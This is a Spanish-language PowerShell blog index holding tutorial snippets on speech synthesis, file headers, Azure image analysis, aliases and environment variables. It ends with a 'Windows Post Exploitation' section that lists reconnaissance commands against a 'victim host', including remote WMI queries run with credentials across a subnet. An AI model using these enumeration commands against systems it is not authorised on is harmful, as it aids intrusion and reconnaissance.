Get-ChildItem | Scripting and security

PowerShell Radio

Enviar señales de radio desde Raspberry Pi mediante una conexión SSH desde PowerShell (parte 1)

(1 votes, average: 5.00 out of 5)

#Crear un audio que vamos a mandar mediante señales de radio
#Convertir una frase en audio con la voz del sistema operativo desde PowerShell

Add-Type -AssemblyName System.Speech

$synthesizer = New-Object -TypeName System.Speech.Synthesis.SpeechSynthesizer
$synthesizer.SetOutputToWaveFile("saludo.wav")
$synthesizer.Speak("Hola amigo Pedro")
$synthesizer.SetOutputToDefaultAudioDevice()
Get-ChildItem .\saludo.wav

#Crear un audio que vamos a mandar mediante señales de radio

#Convertir una frase en audio con la voz del sistema operativo desde PowerShell

Add-Type -AssemblyName System.Speech

$synthesizer = New-Object -TypeName System.Speech.Synthesis.SpeechSynthesizer

$synthesizer.SetOutputToWaveFile("saludo.wav")

$synthesizer.Speak("Hola amigo Pedro")

$synthesizer.SetOutputToDefaultAudioDevice()

Get-ChildItem .\saludo.wav

Analizar la extensión de un archivo según sus cabeceras con PowerShell

(10 votes, average: 2.60 out of 5)

ForEach ($fichero in Get-ChildItem *.*)
{
    #Datos del fichero
    $fichero
    
    #Fichero en formato decimal
    [System.IO.File]::ReadAllBytes($fichero)[0..3] -join ""
    
    #Ficheor en formato hexadecimal
    $magic = [System.IO.File]::ReadAllBytes($fichero)[0..3] | %{
        [System.String]::Format("{0:X}",[System.Convert]::ToUInt32($_))
    }
    $magic -join ""
}

ForEach ($fichero in Get-ChildItem *.*)

{

#Datos del fichero

$fichero

#Fichero en formato decimal

[System.IO.File]::ReadAllBytes($fichero)[0..3] -join ""

#Ficheor en formato hexadecimal

$magic = [System.IO.File]::ReadAllBytes($fichero)[0..3] | %{

[System.String]::Format("{0:X}",[System.Convert]::ToUInt32($_))

}

$magic -join ""

}

Listado de caberas más utilizadas Tipo de Archivo Cabecera En ASCII .ZIP 50 4B 03 04 PK .RAR 52 61 72 21 Rar! .TAR 1F 8B 08 00 .TGZ 1F 9D 90 70 .DOC D0 CF 11 E0 ÐÏ.à .XLS D0 CF 11 E0 .PDF 25 50 44 46 %PDF .WMV 30 26 B2 75 .FLV 46 4C 56 01 FLV .BMP 42 4D F8 A9/ 62 25 / 76 03 BM, BMp% , BMv .GIF 47 49 46 38 39 61 / 37 61 GIF89a GIF87a .ICO 00 00 01 00 .JPEG FF D8 FF E0 / FE […]

PowerShell Recognition

Extraer datos de varias imágenes mediante el reconocimiento óptico de caracteres y el análisis de imágenes (Computer Vision API de Microsoft Azure)

(No Ratings Yet)

Get-ChildItem C:\Users\juan\Desktop\bodegon | %{
    $vision = 'https://westcentralus.api.cognitive.microsoft.com/vision/v1.0/analyze'
    $features = 'Categories,Tags,Description,Color'
    $bytes = [System.IO.File]::ReadAllBytes($_.FullName)

    $response = Invoke-WebRequest `
         -Uri "$($vision)?visualFeatures=$($features)" `
         -Body $bytes `
         -ContentType "application/octet-stream" `
         -Headers @{'Ocp-Apim-Subscription-Key' = 'Clave del API'} `
         -Method 'Post' `
         -ErrorAction Stop `
         -UseBasicParsing | ConvertFrom-Json

    $response.description
    Start-Sleep -Seconds 5
}

Get-ChildItem C:\Users\juan\Desktop\bodegon | %{

$vision = 'https://westcentralus.api.cognitive.microsoft.com/vision/v1.0/analyze'

$features = 'Categories,Tags,Description,Color'

$bytes = [System.IO.File]::ReadAllBytes($_.FullName)

$response = Invoke-WebRequest `

-Uri "$($vision)?visualFeatures=$($features)" `

-Body $bytes `

-ContentType "application/octet-stream" `

-Headers @{'Ocp-Apim-Subscription-Key' = 'Clave del API'} `

-Method 'Post' `

-ErrorAction Stop `

-UseBasicParsing | ConvertFrom-Json

$response.description

Start-Sleep -Seconds 5

}

C:\Users\juan\Desktop\bodegon\aaaa.jpg C:\Users\juan\Desktop\bodegon\aaaab.jpg C:\Users\juan\Desktop\bodegon\bbbb.jpg C:\Users\juan\Desktop\bodegon\bbbba.jpg C:\Users\juan\Desktop\bodegon\bbbbs.jpg

PowerShell

Crear una variable de entorno con PowerShell

(No Ratings Yet)

$env:TestVariable = "Test variable"
Get-ChildItem Env:\TestVariable

1 2	$env:TestVariable = "Test variable" Get-ChildItem Env:\TestVariable

PowerShell

Mostrar las variables de entorno con PowerShell

(No Ratings Yet)

Get-ChildItem Env:

1	Get-ChildItem Env:

Filesystem PowerShell

Limitar la recursividad en Get-ChildItem con el parámetro -Depth

(1 votes, average: 2.00 out of 5)

#Primer nivel
Get-ChildItem E:\powershell -Recurse -Depth 0
#Segundo nivel
Get-ChildItem E:\powershell -Recurse -Depth 1

#Primer nivel

Get-ChildItem E:\powershell -Recurse -Depth 0

#Segundo nivel

Get-ChildItem E:\powershell -Recurse -Depth 1

PowerShell

Windows PowerShell aliases

(No Ratings Yet)

Alias           % -> ForEach-Object                                                   
Alias           ? -> Where-Object                                                     
Alias           ac -> Add-Content                                                     
Alias           asnp -> Add-PSSnapin                                                  
Alias           cat -> Get-Content                                                    
Alias           cd -> Set-Location                                                    
Alias           CFS -> ConvertFrom-String
Alias           chdir -> Set-Location                                                 
Alias           clc -> Clear-Content                                                  
Alias           clear -> Clear-Host                                                   
Alias           clhy -> Clear-History                                                 
Alias           cli -> Clear-Item                                                     
Alias           clp -> Clear-ItemProperty                                             
Alias           cls -> Clear-Host                                                     
Alias           clv -> Clear-Variable                                                 
Alias           cnsn -> Connect-PSSession                                             
Alias           compare -> Compare-Object                                             
Alias           copy -> Copy-Item                                                     
Alias           cp -> Copy-Item                                                       
Alias           cpi -> Copy-Item                                                      
Alias           cpp -> Copy-ItemProperty                                              
Alias           curl -> Invoke-WebRequest                                             
Alias           cvpa -> Convert-Path                                                  
Alias           dbp -> Disable-PSBreakpoint                                           
Alias           del -> Remove-Item                                                    
Alias           diff -> Compare-Object                                                
Alias           dir -> Get-ChildItem                                                  
Alias           dnsn -> Disconnect-PSSession                                          
Alias           ebp -> Enable-PSBreakpoint                                            
Alias           echo -> Write-Output                                                  
Alias           epal -> Export-Alias                                                  
Alias           epcsv -> Export-Csv                                                   
Alias           epsn -> Export-PSSession                                              
Alias           erase -> Remove-Item                                                  
Alias           etsn -> Enter-PSSession                                               
Alias           exsn -> Exit-PSSession                                                
Alias           fc -> Format-Custom                                                   
Alias           fhx -> Format-Hex
Alias           fl -> Format-List                                                     
Alias           foreach -> ForEach-Object                                             
Alias           ft -> Format-Table                                                    
Alias           fw -> Format-Wide                                                     
Alias           gal -> Get-Alias                                                      
Alias           gbp -> Get-PSBreakpoint                                               
Alias           gc -> Get-Content                                                     
Alias           gci -> Get-ChildItem                                                  
Alias           gcm -> Get-Command                                                    
Alias           gcs -> Get-PSCallStack                                                
Alias           gdr -> Get-PSDrive                                                    
Alias           ghy -> Get-History                                                    
Alias           gi -> Get-Item                                                        
Alias           gjb -> Get-Job                                                        
Alias           gl -> Get-Location                                                    
Alias           gm -> Get-Member                                                      
Alias           gmo -> Get-Module                                                     
Alias           gp -> Get-ItemProperty                                                
Alias           gps -> Get-Process                                                    
Alias           gpv -> Get-ItemPropertyValue                                          
Alias           group -> Group-Object                                                 
Alias           gsn -> Get-PSSession                                                  
Alias           gsnp -> Get-PSSnapin                                                  
Alias           gsv -> Get-Service                                                    
Alias           gu -> Get-Unique                                                      
Alias           gv -> Get-Variable                                                    
Alias           gwmi -> Get-WmiObject                                                 
Alias           h -> Get-History                                                      
Alias           history -> Get-History                                                
Alias           icm -> Invoke-Command                                                 
Alias           iex -> Invoke-Expression                                              
Alias           ihy -> Invoke-History                                                 
Alias           ii -> Invoke-Item                                                     
Alias           ipal -> Import-Alias                                                  
Alias           ipcsv -> Import-Csv                                                   
Alias           ipmo -> Import-Module                                                 
Alias           ipsn -> Import-PSSession                                              
Alias           irm -> Invoke-RestMethod                                              
Alias           ise -> powershell_ise.exe                                             
Alias           iwmi -> Invoke-WMIMethod                                              
Alias           iwr -> Invoke-WebRequest                                              
Alias           kill -> Stop-Process                                                  
Alias           lp -> Out-Printer                                                     
Alias           ls -> Get-ChildItem                                                   
Alias           man -> help                                                           
Alias           md -> mkdir                                                           
Alias           measure -> Measure-Object                                             
Alias           mi -> Move-Item                                                       
Alias           mount -> New-PSDrive                                                  
Alias           move -> Move-Item                                                     
Alias           mp -> Move-ItemProperty                                               
Alias           mv -> Move-Item                                                       
Alias           nal -> New-Alias                                                      
Alias           ndr -> New-PSDrive                                                    
Alias           ni -> New-Item                                                        
Alias           nmo -> New-Module                                                     
Alias           npssc -> New-PSSessionConfigurationFile                               
Alias           nsn -> New-PSSession                                                  
Alias           nv -> New-Variable                                                    
Alias           ogv -> Out-GridView                                                   
Alias           oh -> Out-Host                                                        
Alias           popd -> Pop-Location                                                  
Alias           ps -> Get-Process                                                     
Alias           pushd -> Push-Location                                                
Alias           pwd -> Get-Location                                                   
Alias           r -> Invoke-History                                                   
Alias           rbp -> Remove-PSBreakpoint                                            
Alias           rcjb -> Receive-Job                                                   
Alias           rcsn -> Receive-PSSession                                             
Alias           rd -> Remove-Item                                                     
Alias           rdr -> Remove-PSDrive                                                 
Alias           ren -> Rename-Item                                                    
Alias           ri -> Remove-Item                                                     
Alias           rjb -> Remove-Job                                                     
Alias           rm -> Remove-Item                                                     
Alias           rmdir -> Remove-Item                                                  
Alias           rmo -> Remove-Module                                                  
Alias           rni -> Rename-Item                                                    
Alias           rnp -> Rename-ItemProperty                                            
Alias           rp -> Remove-ItemProperty                                             
Alias           rsn -> Remove-PSSession                                               
Alias           rsnp -> Remove-PSSnapin                                               
Alias           rujb -> Resume-Job                                                    
Alias           rv -> Remove-Variable                                                 
Alias           rvpa -> Resolve-Path                                                  
Alias           rwmi -> Remove-WMIObject                                              
Alias           sajb -> Start-Job                                                     
Alias           sal -> Set-Alias                                                      
Alias           saps -> Start-Process                                                 
Alias           sasv -> Start-Service                                                 
Alias           sbp -> Set-PSBreakpoint                                               
Alias           sc -> Set-Content                                                     
Alias           select -> Select-Object                                               
Alias           set -> Set-Variable                                                   
Alias           shcm -> Show-Command                                                  
Alias           si -> Set-Item                                                        
Alias           sl -> Set-Location                                                    
Alias           sleep -> Start-Sleep                                                  
Alias           sls -> Select-String                                                  
Alias           sort -> Sort-Object                                                   
Alias           sp -> Set-ItemProperty                                                
Alias           spjb -> Stop-Job                                                      
Alias           spps -> Stop-Process                                                  
Alias           spsv -> Stop-Service                                                  
Alias           start -> Start-Process                                                
Alias           sujb -> Suspend-Job                                                   
Alias           sv -> Set-Variable                                                    
Alias           swmi -> Set-WMIInstance                                               
Alias           tee -> Tee-Object                                                     
Alias           trcm -> Trace-Command                                                 
Alias           type -> Get-Content                                                   
Alias           wget -> Invoke-WebRequest                                             
Alias           where -> Where-Object                                                 
Alias           wjb -> Wait-Job                                                       
Alias           write -> Write-Output

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

Alias % -> ForEach-Object

Alias ? -> Where-Object

Alias ac -> Add-Content

Alias asnp -> Add-PSSnapin

Alias cat -> Get-Content

Alias cd -> Set-Location

Alias CFS -> ConvertFrom-String

Alias chdir -> Set-Location

Alias clc -> Clear-Content

Alias clear -> Clear-Host

Alias clhy -> Clear-History

Alias cli -> Clear-Item

Alias clp -> Clear-ItemProperty

Alias cls -> Clear-Host

Alias clv -> Clear-Variable

Alias cnsn -> Connect-PSSession

Alias compare -> Compare-Object

Alias copy -> Copy-Item

Alias cp -> Copy-Item

Alias cpi -> Copy-Item

Alias cpp -> Copy-ItemProperty

Alias curl -> Invoke-WebRequest

Alias cvpa -> Convert-Path

Alias dbp -> Disable-PSBreakpoint

Alias del -> Remove-Item

Alias diff -> Compare-Object

Alias dir -> Get-ChildItem

Alias dnsn -> Disconnect-PSSession

Alias ebp -> Enable-PSBreakpoint

Alias echo -> Write-Output

Alias epal -> Export-Alias

Alias epcsv -> Export-Csv

Alias epsn -> Export-PSSession

Alias erase -> Remove-Item

Alias etsn -> Enter-PSSession

Alias exsn -> Exit-PSSession

Alias fc -> Format-Custom

Alias fhx -> Format-Hex

Alias fl -> Format-List

Alias foreach -> ForEach-Object

Alias ft -> Format-Table

Alias fw -> Format-Wide

Alias gal -> Get-Alias

Alias gbp -> Get-PSBreakpoint

Alias gc -> Get-Content

Alias gci -> Get-ChildItem

Alias gcm -> Get-Command

Alias gcs -> Get-PSCallStack

Alias gdr -> Get-PSDrive

Alias ghy -> Get-History

Alias gi -> Get-Item

Alias gjb -> Get-Job

Alias gl -> Get-Location

Alias gm -> Get-Member

Alias gmo -> Get-Module

Alias gp -> Get-ItemProperty

Alias gps -> Get-Process

Alias gpv -> Get-ItemPropertyValue

Alias group -> Group-Object

Alias gsn -> Get-PSSession

Alias gsnp -> Get-PSSnapin

Alias gsv -> Get-Service

Alias gu -> Get-Unique

Alias gv -> Get-Variable

Alias gwmi -> Get-WmiObject

Alias h -> Get-History

Alias history -> Get-History

Alias icm -> Invoke-Command

Alias iex -> Invoke-Expression

Alias ihy -> Invoke-History

Alias ii -> Invoke-Item

Alias ipal -> Import-Alias

Alias ipcsv -> Import-Csv

Alias ipmo -> Import-Module

Alias ipsn -> Import-PSSession

Alias irm -> Invoke-RestMethod

Alias ise -> powershell_ise.exe

Alias iwmi -> Invoke-WMIMethod

Alias iwr -> Invoke-WebRequest

Alias kill -> Stop-Process

Alias lp -> Out-Printer

Alias ls -> Get-ChildItem

Alias man -> help

Alias md -> mkdir

Alias measure -> Measure-Object

Alias mi -> Move-Item

Alias mount -> New-PSDrive

Alias move -> Move-Item

Alias mp -> Move-ItemProperty

Alias mv -> Move-Item

Alias nal -> New-Alias

Alias ndr -> New-PSDrive

Alias ni -> New-Item

Alias nmo -> New-Module

Alias npssc -> New-PSSessionConfigurationFile

Alias nsn -> New-PSSession

Alias nv -> New-Variable

Alias ogv -> Out-GridView

Alias oh -> Out-Host

Alias popd -> Pop-Location

Alias ps -> Get-Process

Alias pushd -> Push-Location

Alias pwd -> Get-Location

Alias r -> Invoke-History

Alias rbp -> Remove-PSBreakpoint

Alias rcjb -> Receive-Job

Alias rcsn -> Receive-PSSession

Alias rd -> Remove-Item

Alias rdr -> Remove-PSDrive

Alias ren -> Rename-Item

Alias ri -> Remove-Item

Alias rjb -> Remove-Job

Alias rm -> Remove-Item

Alias rmdir -> Remove-Item

Alias rmo -> Remove-Module

Alias rni -> Rename-Item

Alias rnp -> Rename-ItemProperty

Alias rp -> Remove-ItemProperty

Alias rsn -> Remove-PSSession

Alias rsnp -> Remove-PSSnapin

Alias rujb -> Resume-Job

Alias rv -> Remove-Variable

Alias rvpa -> Resolve-Path

Alias rwmi -> Remove-WMIObject

Alias sajb -> Start-Job

Alias sal -> Set-Alias

Alias saps -> Start-Process

Alias sasv -> Start-Service

Alias sbp -> Set-PSBreakpoint

Alias sc -> Set-Content

Alias select -> Select-Object

Alias set -> Set-Variable

Alias shcm -> Show-Command

Alias si -> Set-Item

Alias sl -> Set-Location

Alias sleep -> Start-Sleep

Alias sls -> Select-String

Alias sort -> Sort-Object

Alias sp -> Set-ItemProperty

Alias spjb -> Stop-Job

Alias spps -> Stop-Process

Alias spsv -> Stop-Service

Alias start -> Start-Process

Alias sujb -> Suspend-Job

Alias sv -> Set-Variable

Alias swmi -> Set-WMIInstance

Alias tee -> Tee-Object

Alias trcm -> Trace-Command

Alias type -> Get-Content

Alias wget -> Invoke-WebRequest

Alias where -> Where-Object

Alias wjb -> Wait-Job

Alias write -> Write-Output

PowerShell

7. Gestión de procesos en PowerShell (nivel intermedio)

(10 votes, average: 4.70 out of 5)

Uno de los conceptos más importantes en los sistemas operativos es el proceso que se define como un programa en ejecución. Los programas son un conjunto de archivos que están almacenados en algún dispositivo de almacenamiento (disco duro, USB, etc.) y que por sí solos no tienen ningún funcionamiento, pero cuando ese conjunto de archivos se ejecutan entonces pasan a ser un proceso. Procesos El sistema operativo se encarga de: crear y destruir procesos, suspender y reanudar procesos, y sincronizar y comunicar procesos. Información sobre procesos Cmdlet

Get-Process

1	Get-Process

Alias

ps
gps

gps

Parámetros y alias de los parámetros

Name                {ProcessName}
Id                  {PID}        
InputObject         {}           
IncludeUserName     {}           
ComputerName        {Cn}         
Module              {}           
FileVersionInfo     {FV, FVI}    
Verbose             {vb}         
Debug               {db}         
ErrorAction         {ea}         
WarningAction       {wa}         
InformationAction   {infa}       
ErrorVariable       {ev}         
WarningVariable     {wv}         
InformationVariable {iv}         
OutVariable         {ov}         
OutBuffer           {ob}         
PipelineVariable    {pv}

Name {ProcessName}

Id {PID}

InputObject {}

IncludeUserName {}

ComputerName {Cn}

Module {}

FileVersionInfo {FV, FVI}

Verbose {vb}

Debug {db}

ErrorAction {ea}

WarningAction {wa}

InformationAction {infa}

ErrorVariable {ev}

WarningVariable {wv}

InformationVariable {iv}

OutVariable {ov}

OutBuffer {ob}

PipelineVariable {pv}

WMI

Get-WmiObject -Class win32_process

1	Get-WmiObject -Class win32_process

Ejemplos […]

PowerShell

5. Gestión del software en PowerShell (nivel intermedio)

(2 votes, average: 3.50 out of 5)

El software es la parte que no se puede tocar del ordenador (intangible), es un elemento lógico y se define como un conjunto de órdenes e instrucciones que al ejecutarse sirven para realizar alguna tarea (los programas sin ejecutar son simples archivos en disco). Con el software se saca partido al ordenador, sin software el ordenador sería un conjunto de placas, tarjetas y cables sin ninguna utilidad. Los sistemas operativos instalados programas pero también se pueden instalar otros. El software se puede dividir en tipos: Software de sistema. Conjunto de programas que administran los recursos del ordenador. Software de programación. […]

PowerShell

4. Gestión del sistema de archivos en PowerShell (nivel intermedio)

(6 votes, average: 4.33 out of 5)

La memoria que maneja el sistema operativo tiene limitaciones importantes, dos de ellas son la escasa cantidad de información que se puede almacenar en un espacio de direcciones, la otra es la volatilidad de los datos. La solución a este problema es almacenar la información en dispositivos de almacenamiento no volátil como son los discos duros, discos ópticos, etc. El almacenamiento de la información se lleva a cabo mediante archivos (también llamados ficheros). Un archivo se define como conjunto de datos almacenados en un dispositivo de almacenamiento, un ejemplo es una imagen fotográfica que consiste en un conjunto de bits […]

PowerShell

2. Programación en PowerShell (nivel intermedio)

(2 votes, average: 5.00 out of 5)

La programación es necesaria para realizar tareas de forma automática y consiste en indicar ordenes al sistema, en PowerShell el conjunto de ordenes se puede realizar mediante scripts. Un script contiene un conjunto de comandos (cmdlets) y elementos de programación (bucles, condicionales, comparaciones, etc.) que se ejecutan sobre PowerShell y realizan alguna función. Ahora podemos hacernos algunas preguntas relacionadas con lo que queremos hacer utilizando scripts: ¿Cómo almacenar un valor de forma temporal? ¿Cómo almacenar un valor de forma permanente? ¿Cómo buscar una cadena? ¿Cómo buscar una cadena que ha introducido el usuario? ¿Cómo distinguir entre dos opciones? ¿Cómo distinguir entre […]

PowerShell

1. Introducción a PowerShell (nivel intermedio)

(3 votes, average: 5.00 out of 5)

Desde el año 2006 Microsoft dispone de una línea de comandos mejorada que se denomina PowerShell (aunque los orígenes de PowerShell datan de años anteriores y el nombre del proyecto se conocía como MONAD), es más potente y rica que la consola de MS-DOS. PowerShell es una línea de comandos con tecnología de scripting basada en tareas que proporciona a los administradores de tecnologías de la información (TI) un control integral y la posibilidad de automatizar las tareas de administración del sistema. PowerShell se ha creado sobre .NET Framework, Common Language Runtime (CLR) y .NET Framework, y acepta y devuelve […]

PowerShell

Utilizar varios alias en PowerShell

(1 votes, average: 5.00 out of 5)

function Get-Listados
{
    [Alias('listar','lista','listas')]
    [CmdletBinding()]
    param()
 
    Get-ChildItem
}

function Get-Listados

{

[Alias('listar','lista','listas')]

[CmdletBinding()]

param()

Get-ChildItem

}

Filesystem PowerShell

Renombrar varios ficheros de texto

(No Ratings Yet)

Get-ChildItem *.txt | %{
    Rename-Item -Path $_ -NewName "$($_.basename).bak" -WhatIf
}

Get-ChildItem *.txt | %{

Rename-Item -Path $_ -NewName "$($_.basename).bak" -WhatIf

}

PowerShell

Crear un fichero, buscarlo y ejecutar el contenido

(No Ratings Yet)

"notepad" > fichero.txt; Start-Process(Get-Content (Get-ChildItem ./fichero.txt))
"notepad" > fichero.txt; saps(gc (ls ./fichero.txt))

1 2	"notepad" > fichero.txt; Start-Process(Get-Content (Get-ChildItem ./fichero.txt)) "notepad" > fichero.txt; saps(gc (ls ./fichero.txt))

PowerShell

Crear un fichero, buscarlo y ver el contenido

(No Ratings Yet)

"hola" > fichero.txt; Get-Content (Get-ChildItem ./fichero.txt)
"hola" > fichero.txt; gc (ls ./fichero.txt)

1 2	"hola" > fichero.txt; Get-Content (Get-ChildItem ./fichero.txt) "hola" > fichero.txt; gc (ls ./fichero.txt)

Filesystem Permissions PowerShell

4. Gestión de archivos en PowerShell para administradores de sistemas (nivel básico)

(2 votes, average: 3.50 out of 5)

Los sistemas de archivos permiten organizar los datos en los dispositivos de almacenamiento siguiendo una serie de normas y restricciones. Un sistema de archivos se implanta después de crear una partición en un dispositivo de almacenamiento (disco duro, USB, CD/DVD, etc.). La unidad principal de los sistemas de archivos es el archivo, en general, los sistemas operativos distinguen entre estos tipos de archivos: Normales: los archivos pueden contener cualquier tipo de información. Directorios: son archivos que contienen información sobre la organización y estructura de otros archivos. Especiales: estos archivos permiten comunicarse con dispositivos de E/S. Los archivos tienes propiedades: Nombre: […]

PowerShell Security

Windows Post Exploitation Cmdlets Execution (PowerShell)

(5 votes, average: 5.00 out of 5)

Presence This section focuses on information gathering about the victim host and the network that it’s attached to. System

#Shows all current environmental variables
$env:ALLUSERSPROFILE
$env:APPDATA
$env:CommonProgramFiles
${env:CommonProgramFiles(x86)}
$env:CommonProgramW6432
$env:COMPUTERNAME
$env:ComSpec
$env:FP_NO_HOST_CHECK
$env:HOMEDRIVE
$env:HOMEPATH
$env:LOCALAPPDATA
$env:LOGONSERVER
$env:NUMBER_OF_PROCESSORS
$env:OS
$env:Path
$env:PATHEXT
$env:PROCESSOR_ARCHITECTURE
$env:PROCESSOR_IDENTIFIER
$env:PROCESSOR_LEVEL
$env:PROCESSOR_REVISION
$env:ProgramData
$env:ProgramFiles
${env:ProgramFiles(x86)}
$env:ProgramW6432
$env:PSModulePath
$env:PUBLIC
$env:SESSIONNAME
$env:SystemRoot
$env:TEMP
$env:TMP
$env:USERDOMAIN
$env:USERDOMAIN_ROAMINGPROFILE
$env:USERNAME
$env:USERPROFILE
$env:SystemDrive
$env:windir

#Shows all current environmental variables (macOS)
$env:_ 
$env:LOGNAME
$env:SHLVL
$env:TERM_SESSION_ID
$env:PATHEXT
$env:__CF_USER_TEXT_ENCODING
$env:PATH
$env:SSH_AUTH_SOCK
$env:TMPDIR
$env:Apple_PubSub_Socket_Render
$env:PSMODULEPATH
$env:TERM
$env:USER
$env:HOME
$env:PWD
$env:TERM_PROGRAM
$env:XPC_FLAGS
$env:LC_CTYPE
$env:SHELL
$env:TERM_PROGRAM_VERSION
$env:XPC_SERVICE_NAME

#Information about disk
Get-Disk

#Retrieving Process Information
Get-Process | Select-Object Name,Path,Company,CPU,Product,TotalProcessorTime,StartTime

#Lists running threads for a specified process
(Get-Process chrome | Select-Object Threads).Threads
Get-Process | select -expand Threads

#Last Boot Uptime
Get-CimInstance -ClassName win32_operatingsystem | select csname, lastbootuptime

#Lists the current drivers on the system
Get-Process -Module

#Events and event logs on the local and remote
Get-EventLog -LogName System -EntryType Error, Warning
Get-EventLog -LogName System -EntryType Error, Warning -ComputerName $computer

#Shows all current environmental variables

$env:ALLUSERSPROFILE

$env:APPDATA

$env:CommonProgramFiles

${env:CommonProgramFiles(x86)}

$env:CommonProgramW6432

$env:COMPUTERNAME

$env:ComSpec

$env:FP_NO_HOST_CHECK

$env:HOMEDRIVE

$env:HOMEPATH

$env:LOCALAPPDATA

$env:LOGONSERVER

$env:NUMBER_OF_PROCESSORS

$env:OS

$env:Path

$env:PATHEXT

$env:PROCESSOR_ARCHITECTURE

$env:PROCESSOR_IDENTIFIER

$env:PROCESSOR_LEVEL

$env:PROCESSOR_REVISION

$env:ProgramData

$env:ProgramFiles

${env:ProgramFiles(x86)}

$env:ProgramW6432

$env:PSModulePath

$env:PUBLIC

$env:SESSIONNAME

$env:SystemRoot

$env:TEMP

$env:TMP

$env:USERDOMAIN

$env:USERDOMAIN_ROAMINGPROFILE

$env:USERNAME

$env:USERPROFILE

$env:SystemDrive

$env:windir

#Shows all current environmental variables (macOS)

$env:_

$env:LOGNAME

$env:SHLVL

$env:TERM_SESSION_ID

$env:PATHEXT

$env:__CF_USER_TEXT_ENCODING

$env:PATH

$env:SSH_AUTH_SOCK

$env:TMPDIR

$env:Apple_PubSub_Socket_Render

$env:PSMODULEPATH

$env:TERM

$env:USER

$env:HOME

$env:PWD

$env:TERM_PROGRAM

$env:XPC_FLAGS

$env:LC_CTYPE

$env:SHELL

$env:TERM_PROGRAM_VERSION

$env:XPC_SERVICE_NAME

#Information about disk

Get-Disk

#Retrieving Process Information

Get-Process | Select-Object Name,Path,Company,CPU,Product,TotalProcessorTime,StartTime

#Lists running threads for a specified process

(Get-Process chrome | Select-Object Threads).Threads

Get-Process | select -expand Threads

#Last Boot Uptime

Get-CimInstance -ClassName win32_operatingsystem | select csname, lastbootuptime

#Lists the current drivers on the system

Get-Process -Module

#Events and event logs on the local and remote

Get-EventLog -LogName System -EntryType Error, Warning

Get-EventLog -LogName System -EntryType Error, Warning -ComputerName $computer

WMI

#Information about disk
Get-WmiObject -Class win32_DiskDrive

#Retrieving the Shared Resources on the Local Computer
Get-WmiObject -Class Win32_Share

#Retrieving the Shared Resources on a Remote Computer
Get-WmiObject -Class Win32_Share -ComputerName COMPUTER

#Remote information
Get-WmiObject Win32_ComputerSystem -cn $computer
Get-WmiObject Win32_Group -cn $computer
Get-WmiObject Win32_LogicalDisk -cn $computer
Get-WmiObject Win32_NetworkClient -cn $computer
Get-WmiObject Win32_NetworkConnection -cn $computer
Get-WmiObject Win32_NetworkLoginProfile -cn $computer
Get-WmiObject Win32_NTLogEvent -cn $computer
Get-WmiObject Win32_OperatingSystem -cn $computer
Get-WmiObject Win32_Process -cn $computer
Get-WmiObject Win32_Product -cn $computer
Get-WmiObject Win32_QuickFixEngineering -cn $computer
Get-WmiObject Win32_Service -cn $computer
Get-WmiObject Win32_Share -cn $computer
Get-WmiObject Win32_StartupCommand -cn $computer
Get-WmiObject Win32_UserAccount -cn $computer
Get-WmiObject Win32_Volume -cn $computer

#Remote information (use credential)
$credenciales=Get-Credential
(Get-WmiObject Win32_AutochkSetting -ComputerName ('192.168.1.'+$_) -Credential $credenciales).SettingID
(Get-WmiObject Win32_BaseBoard -ComputerName ('192.168.1.'+$_) -Credential $credenciales).Manufacturer
(Get-WmiObject Win32_BIOS -ComputerName ('192.168.1.'+$_) -Credential $credenciales).Version
(Get-WmiObject Win32_Bus -ComputerName ('192.168.1.'+$_) -Credential $credenciales).DeviceID
Get-WmiObject Win32_Processor -ComputerName ('192.168.1.'+$_) -Credential $credenciales
Get-WmiObject Win32_SystemEnclosure -ComputerName ('192.168.1.'+$_) -Credential $credenciales
Get-WmiObject Win32_Battery -ComputerName ('192.168.1.'+$_) -Credential $credenciales
Get-WmiObject Win32_Printer -ComputerName ('192.168.1.'+$_) -Credential $credenciales

#WMI queries
$query="Select * from Msft_CliAlias"; Get-WMIObject -Query $query
$query="Select * from Win32_BaseBoard"; Get-WMIObject -Query $query
$query="Select * from Win32_BIOS"; Get-WMIObject -Query $query
$query="Select * from Win32_BootConfiguration"; Get-WMIObject -Query $query
$query="Select * from Win32_CDROMDrive"; Get-WMIObject -Query $query
$query="Select * from Win32_ComputerSystem"; Get-WMIObject -Query $query
$query="Select * from WIN32_PROCESSOR"; Get-WMIObject -Query $query
$query="Select * from Win32_ComputerSystemProduct"; Get-WMIObject -Query $query
$query="Select * from CIM_DataFile"; Get-WMIObject -Query $query
$query="Select * from WIN32_DCOMApplication"; Get-WMIObject -Query $query
$query="Select * from WIN32_DESKTOP"; Get-WMIObject -Query $query
$query="Select * from WIN32_DESKTOPMONITOR"; Get-WMIObject -Query $query
$query="Select * from Win32_DeviceMemoryAddress"; Get-WMIObject -Query $query
$query="Select * from Win32_DiskDrive"; Get-WMIObject -Query $query
$query="Select * from Win32_DiskQuota"; Get-WMIObject -Query $query
$query="Select * from Win32_DMAChannel"; Get-WMIObject -Query $query
$query="Select * from Win32_Environment"; Get-WMIObject -Query $query
$query="Select * from Win32_Directory"; Get-WMIObject -Query $query
$query="Select * from Win32_Group"; Get-WMIObject -Query $query
$query="Select * from Win32_IDEController"; Get-WMIObject -Query $query
$query="Select * from Win32_IRQResource"; Get-WMIObject -Query $query
$query="Select * from Win32_ScheduledJob"; Get-WMIObject -Query $query
$query="Select * from Win32_LoadOrderGroup"; Get-WMIObject -Query $query
$query="Select * from Win32_LogicalDisk"; Get-WMIObject -Query $query
$query="Select * from Win32_LogonSession"; Get-WMIObject -Query $query
$query="Select * from WIN32_CACHEMEMORY"; Get-WMIObject -Query $query
$query="Select * from Win32_PhysicalMemory"; Get-WMIObject -Query $query
$query="Select * from Win32_PhysicalMemoryArray"; Get-WMIObject -Query $query
$query="Select * from WIN32_NetworkClient"; Get-WMIObject -Query $query
$query="Select * from Win32_NetworkLoginProfile"; Get-WMIObject -Query $query
$query="Select * from Win32_NetworkProtocol"; Get-WMIObject -Query $query
$query="Select * from Win32_NetworkConnection"; Get-WMIObject -Query $query
$query="Select * from Win32_NetworkAdapter"; Get-WMIObject -Query $query
$query="Select * from Win32_NetworkAdapterConfiguration"; Get-WMIObject -Query $query
$query="Select * from Win32_NTDomain"; Get-WMIObject -Query $query
$query="Select * from Win32_NTLogEvent"; Get-WMIObject -Query $query
$query="Select * from Win32_NTEventlogFile"; Get-WMIObject -Query $query
